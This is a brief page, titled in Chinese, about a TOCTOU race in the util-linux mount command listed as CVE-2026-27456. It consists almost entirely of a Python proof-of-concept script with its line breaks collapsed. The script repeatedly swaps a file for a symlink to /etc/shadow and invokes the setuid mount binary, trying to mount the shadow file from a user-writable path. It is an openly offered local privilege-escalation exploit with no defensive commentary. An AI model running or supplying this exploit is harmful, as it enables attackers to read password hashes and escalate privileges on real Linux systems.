CVE-2026-27456 util-linux mount TOCTOU漏洞

#!/usr/bin/env python3 # PoC Concept: Exploiting TOCTOU in util-linux mount # Requires: /etc/fstab entry with 'user,loop' pointing to a writable directory import os import time import subprocess TARGET = '/path/to/writable/directory/file.img' SYMLINK = '/path/to/writable/directory/link.img' MOUNT_POINT = '/tmp/mount_point' PRIVILEGED_FILE = '/etc/shadow' # Target to read # Ensure mount point exists os.makedirs(MOUNT_POINT, exist_ok=True) # Create a dummy file to pass initial checks with open(TARGET, 'wb') as f: f.write(b'DUMMY') print(f"[+] Starting race condition attack on {TARGET}...") try: while True: # Step 1: Replace file with symlink to privileged file if os.path.exists(TARGET): os.remove(TARGET) os.symlink(PRIVILEGED_FILE, SYMLINK) os.rename(SYMLINK, TARGET) # Step 2: Trigger mount (SUID binary) # In a real exploit, precise timing is critical. # This loop attempts to hit the window between check and open. proc = subprocess.Popen(['mount', TARGET, MOUNT_POINT], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) # Step 3: Quickly switch back (optional, depending on specific check logic) # to avoid errors that might stop the process before open. # time.sleep(0.001) proc.wait() # Check if we successfully mounted the target if os.path.ismount(MOUNT_POINT): print("[!] Exploit potential success! Check mount point.") # Clean up subprocess.run(['umount', MOUNT_POINT]) break except KeyboardInterrupt: print("[-] Exploit stopped.") finally: if os.path.islink(TARGET) or os.path.exists(TARGET): os.remove(TARGET)